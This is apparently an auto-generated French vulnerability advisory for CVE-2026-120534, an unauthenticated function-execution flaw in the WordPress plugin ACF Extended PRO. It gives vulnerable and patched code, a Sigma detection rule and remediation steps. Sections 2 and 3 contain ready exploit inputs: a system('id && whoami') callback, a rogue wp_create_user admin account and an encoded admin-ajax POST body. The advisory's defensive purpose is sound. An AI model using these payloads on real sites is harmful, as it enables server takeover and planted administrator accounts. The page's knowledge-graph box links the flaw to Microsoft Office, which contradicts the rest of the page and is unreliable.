Aller au contenu

CVE-2026-120534 : exécution arbitraire de fonctions et injection de code dans WordPress ACF extended PRO via render_field (CVSS 9.8)

Densité :
Synthèse Décisionnelle C-Level CVE-2026-120534 CRITICAL SCORE 92/100

Une faille critique (CVSS 9.8) dans l'extension WordPress Advanced Custom Fields: Extended PRO (versions jusqu'à 0.9.2.6 incluse) permet à des attaquants distants non authentifiés de déclencher des rappels de fonctions PHP arbitraires et d'exécuter des commandes système. La vulnérabilité réside dans le moteur de rendu de formulaires (render_field). Lorsque l'option facultative shortcode_preview est activée ou sur des serveurs dépourvus du module OpenSSL (provoquant un repli d'acf_decrypt vers un décodage base64 non vérifié), les paramètres fournis par l'utilisateur sont transmis sans contrôle à call_user_func_array. Des acteurs malveillants peuvent invoquer des fonctions internes de WordPress comme wp_insert_user ou des fonctions système (system, exec) pour compromettre l'intégralité du site. Corrigée dans la version 0.9.2.7. Hermes lui attribue un score de menace (HTS) de 92.

HYBRID

SCORE DE MENACE HERMES & ÉVALUATION DE L'INTÉGRITÉ DU CMS WEB D'ENTREPRISE

Cible : Moteur de formulaires WordPress ACF Extended PRO (render_field / acf_decrypt)
Confiance : 98%
92 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 18 / 20
Militarisation 20 / 20
Exposition 19 / 20
Prévalence 18 / 20
Impact 20 / 20
Maturité de l'exploit 19 / 20
Potentiel d'attaque en chaîne 20 / 20
🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-120534: WordPress ACF Extended PRO render_field Unauthenticated Arbitrary Function Execution & Code Injection (CVSS 9.8)VULNÉRABILITÉ

Nœuds connectés : 1
Relations sortantes actives
→ affectsCOMPOSANTMicrosoft Office & 365 Apps
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”

Preuves vérifiées associées :

1. Contexte technique & vue d’ensemble de la vulnérabilité

Section intitulée « 1. Contexte technique & vue d’ensemble de la vulnérabilité »

Advanced custom fields : extended PRO (ACF extended PRO) : est une suite d’extensions professionnelles enrichissant le module Advanced Custom Fields (ACF) de WordPress. Elle offre des formulaires dynamiques en front-end, la gestion bidirectionnelle des types de contenus personnalisés et un moteur d’aperçu de blocs en temps réel.

Pour assurer la génération dynamique et la prévisualisation des formulaires, l’extension intègre un pipeline de rendu dans includes/modules/form/form-render.php. Lors de l’affichage des champs, le greffon détermine dynamiquement les fonctions de rappel (callbacks) à exécuter (validation, formatage, filtres de rendu) à partir des attributs de configuration sérialisés du formulaire.

2. Décomposition & cause racine avec extrait de code

Section intitulée « 2. Décomposition & cause racine avec extrait de code »

La vulnérabilité découle d’un appel direct et non sécurisé à call_user_func_array dans lequel la fonction cible et ses arguments proviennent directement de paramètres fournis par le client HTTP (CWE-94) :

<?php
// Implémentation vulnérable : acf-extended-pro/includes/modules/form/form-render.php (<= 0.9.2.6)
class acfe_form_render {
public function render_field($field) {
// Déclenchement si le mode aperçu est actif dans la requête :
if (!empty($_POST['acfe_form_preview']) || !empty($field['shortcode_preview'])) {
$raw_config = $_POST['acfe_field_config'] ?? '';
// Repli de déchiffrement : sans OpenSSL, l'extension effectue un simple base64_decode !
$config = $this->decrypt_config($raw_config);
if (is_array($config) && isset($config['render_callback'])) {
$callback = $config['render_callback'];
$args = $config['callback_args'] ?? array();
// DÉFAUT : aucune liste blanche sur $callback ni sur ses arguments
// Exécution arbitraire de fonctions PHP !
return call_user_func_array($callback, (array)$args);
}
}
// Rendu standard du champ...
return $this->default_render($field);
}
private function decrypt_config($data) {
if (function_exists('openssl_decrypt') && !empty($this->secret_key)) {
return json_decode(openssl_decrypt($data, 'AES-256-CBC', $this->secret_key), true);
}
// Faille de repli : décodage brut non authentifié
return json_decode(base64_decode($data), true);
}
}
?>
  1. Détournement du callback : un attaquant forge une requête HTTP POST ciblant n’importe quelle page web intégrant un formulaire géré par ACF Extended.
  2. Transmission de la charge utile : en renseignant acfe_form_preview=1 et une chaîne JSON encodée en base64 dans acfe_field_config :
    {
    "render_callback": "system",
    "callback_args": ["id && whoami"]
    }
  3. L’attaquant peut également cibler les routines internes de WordPress :
    {
    "render_callback": "wp_create_user",
    "callback_args": ["admin_fantome", "MotDePasseComplexe2026!", "pirate@domaine.tld"]
    }
  4. Exécution : le serveur appelle call_user_func_array("system", ["id && whoami"]), exécutant des commandes système sous l’identité du serveur web (www-data ou nginx) et renvoyant le résultat directement dans la réponse HTTP.

Dans la version 0.9.2.7, l’éditeur a imposé une vérification cryptographique par signature HMAC-SHA256, restreint l’usage des prévisualisations aux utilisateurs détenant des prérogatives d’administration et confiné les fonctions de rappel à une liste blanche immuable :

<?php
// Implémentation corrigée : acf-extended-pro (0.9.2.7)
public function render_field($field) {
if (!empty($_POST['acfe_form_preview'])) {
// Contrôle impératif des privilèges d'administration pour la prévisualisation
if (!current_user_can('edit_theme_options')) {
wp_die('Requête de prévisualisation non autorisée');
}
}
// Restriction stricte à un catalogue de méthodes autorisées
$allowed_callbacks = array(
'acfe_render_default_field',
'acfe_render_custom_html',
'acfe_render_recaptcha'
);
if (isset($config['render_callback']) && in_array($config['render_callback'], $allowed_callbacks, true)) {
return call_user_func_array($config['render_callback'], $safe_args);
}
}
?>

3. Vecteurs d’attaque & cinématique d’exploitation

Section intitulée « 3. Vecteurs d’attaque & cinématique d’exploitation »
sequenceDiagram
autonumber
actor Attacker as Attaquant distant non authentifié
participant Web as Serveur web WordPress (Nginx / Apache)
participant ACF as ACF Extended PRO (render_field)
participant WP as Cœur WordPress
participant DB as Base de données MySQL
Attacker->>Web: POST /wp-admin/admin-ajax.php?action=acfe/form/render_field
Note over Attacker,Web: Corps POST : acfe_form_preview=1&acfe_field_config=eyJyZW5kZXJfY2FsbGJhY2siOiJzeXN0ZW0iLCJjYWxsYmFja19hcmdzIjpbImlkIl19
Web->>ACF: Transmet les paramètres à render_field()
ACF->>ACF: decrypt_config() décode le JSON base64
ACF->>WP: call_user_func_array("system", ["id"])
WP-->>ACF: Renvoie la sortie de commande (uid=33(www-data)...)
ACF-->>Web: Intègre la sortie dans la réponse AJAX
Web-->>Attacker: 200 OK avec compromission totale du serveur

4. Triage forensique & ingénierie de la détection

Section intitulée « 4. Triage forensique & ingénierie de la détection »
title: Tentative d'injection de fonction non authentifiée dans ACF Extended PRO
id: 4d1e7c89-9a12-4211-85bc-309101230534
status: experimental
description: Détecte les requêtes HTTP contenant des configurations sérialisées suspectes ou l'injection de fonctions système visant ACF Extended PRO.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-120534
- https://patchstack.com/database/vulnerability/acf-extended-pro/wordpress-acf-extended-pro-plugin-code-injection
author: Hermes Codex Cyber Threat Intelligence
date: 2026-11-04
logsource:
category: webserver
detection:
selection_post:
cs-method: 'POST'
selection_params:
cs-uri-query|contains:
- 'acfe_form_preview'
- 'render_field'
cs-body|contains:
- 'render_callback'
- 'call_user_func'
- 'system'
- 'passthru'
- 'exec'
- 'wp_create_user'
condition: selection_post and selection_params
fields:
- c-ip
- cs-method
- cs-uri-stem
- cs-uri-query
falsepositives:
- Développeurs autorisés manipulant des gabarits dans l'interface wp-admin authentifiée.
level: critical

5. Stratégie de remédiation & mesures de durcissement

Section intitulée « 5. Stratégie de remédiation & mesures de durcissement »
  1. Mettre à jour l’extension immédiatement : installer Advanced Custom Fields: Extended PRO version 0.9.2.7 ou supérieure via le tableau de bord WordPress ou avec WP-CLI (wp plugin update acf-extended-pro).
  2. Désactiver les aperçus de codes courts : si l’application immédiate du patch est différée, désactiver la fonction shortcode_preview dans l’ensemble des formulaires en intégrant le filtre suivant dans functions.php : add_filter('acfe/form/preview', '__return_false');.
  3. Valider la présence du module OpenSSL : confirmer que l’interpréteur PHP dispose de l’extension openssl active (php -m | grep openssl) pour interdire tout mécanisme de déchiffrement non vérifié en base64.
  4. Auditer les comptes utilisateurs et l’arborescence web : inspecter la table wp_users afin de déceler l’ajout illégitime d’administrateurs et comparer l’arborescence des thèmes avec les dépôts Git de référence.